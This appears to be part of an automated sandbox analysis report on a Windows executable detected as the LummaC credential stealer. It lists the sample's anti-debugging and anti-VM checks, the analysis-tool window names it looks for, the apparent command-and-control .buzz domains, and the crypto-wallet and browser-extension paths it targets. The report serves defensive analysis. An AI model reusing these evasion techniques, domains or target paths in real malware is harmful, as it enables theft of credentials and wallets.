Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B49C7 second address: 62B49EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5958F82B5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F5958F82B60h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B49EE second address: 62B4A1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5959240B70h 0x00000010 jnl 00007F5959240B66h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B4A1E second address: 62B4A28 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5958F82B56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B4D17 second address: 62B4D54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B78h 0x00000007 ja 00007F5959240B66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5959240B79h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B4D54 second address: 62B4D87 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5958F82B56h 0x00000008 jl 00007F5958F82B56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5958F82B68h 0x00000018 push esi 0x00000019 jl 00007F5958F82B56h 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B524E second address: 62B525E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B6Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B6A51 second address: 62B6A61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F5958F82B5Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BB1E1 second address: 62BB1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BB1E7 second address: 62BB1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BB3E7 second address: 62BB3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BB3ED second address: 62BB3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BEEFD second address: 62BEF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BEF01 second address: 62BEF1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F5958F82B61h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BEF1D second address: 62BEF42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F5959240B68h 0x0000000e jmp 00007F5959240B75h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BF0EC second address: 62BF107 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5958F82B61h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BF107 second address: 62BF10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BF295 second address: 62BF299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62BF6DF second address: 62BF70E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B70h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F5959240B66h 0x0000000f jmp 00007F5959240B75h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C46CC second address: 62C46D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C46D1 second address: 62C46EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5959240B79h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C46EE second address: 62C4714 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5958F82B67h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C4714 second address: 62C4743 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5959240B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F5959240B68h 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007F5959240B6Dh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d push ecx 0x0000001e pushad 0x0000001f popad 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C4DF2 second address: 62C4E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5958F82B5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C52F9 second address: 62C52FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C54D3 second address: 62C54D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C54D7 second address: 62C54E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C567D second address: 62C5687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F5958F82B56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C5721 second address: 62C5725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C57F3 second address: 62C5848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5958F82B5Ah 0x0000000e popad 0x0000000f push eax 0x00000010 jne 00007F5958F82B5Eh 0x00000016 nop 0x00000017 jmp 00007F5958F82B67h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C5848 second address: 62C584C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C584C second address: 62C5852 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C5852 second address: 62C5858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C5858 second address: 62C585C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C5D90 second address: 62C5D95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C6799 second address: 62C679E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62C663F second address: 62C664F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Special instruction interceptor: First address: B68A9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Special instruction interceptor: First address: D0C897 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Special instruction interceptor: First address: D8D8B2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Special instruction interceptor: First address: 610DBC3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Special instruction interceptor: First address: 62BB16C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Special instruction interceptor: First address: 610B712 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Special instruction interceptor: First address: 610DBBD instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\O53VxanH6A.exe TID: 4908	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe TID: 6508	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe TID: 7100	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe TID: 6420	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe TID: 3432	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\O53VxanH6A.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: O53VxanH6A.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: O53VxanH6A.exe, 00000000.00000003.1440690596.0000000001086000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1521860704.0000000001088000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624502253.0000000001093000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1463126736.0000000001086000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000002.1696135806.0000000001057000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000002.1696135806.0000000001086000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: O53VxanH6A.exe, 00000000.00000002.1696135806.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}F
Source: O53VxanH6A.exe, 00000000.00000003.1440690596.0000000001086000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1521860704.0000000001088000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624502253.0000000001093000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1463126736.0000000001086000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000002.1696135806.0000000001086000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnE
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: O53VxanH6A.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: O53VxanH6A.exe, 00000000.00000003.1382962169.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\O53VxanH6A.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\O53VxanH6A.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: NTICE
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: SICE
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: hummskitnj.buzz
Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: appliacnesot.buzz
Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: screwamusresz.buzz
Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: inherineau.buzz
Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scentniej.buzz
Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rebuildeso.buzz
Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: prisonyfork.buzz
Source: O53VxanH6A.exe, 00000000.00000002.1693802621.0000000000B11000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: O53VxanH6A.exe, 00000000.00000002.1700070704.000000000629A000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: (1Program Manager
Source: O53VxanH6A.exe, 00000000.00000002.1694979753.0000000000D2D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Program Manager

Source: C:\Users\user\Desktop\O53VxanH6A.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\O53VxanH6A.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: O53VxanH6A.exe, 00000000.00000003.1463830965.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624717886.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1463967337.00000000010E1000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1467102351.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481038436.00000000010F1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\O53VxanH6A.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: O53VxanH6A.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: O53VxanH6A.exe, 00000000.00000003.1440690596.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: O53VxanH6A.exe, 00000000.00000003.1440690596.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: O53VxanH6A.exe, 00000000.00000003.1440690596.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: O53VxanH6A.exe, 00000000.00000003.1440690596.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: O53VxanH6A.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: O53VxanH6A.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: O53VxanH6A.exe, 00000000.00000003.1440690596.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: O53VxanH6A.exe, 00000000.00000003.1440884667.00000000010E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: O53VxanH6A.exe, 00000000.00000003.1440884667.00000000010E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
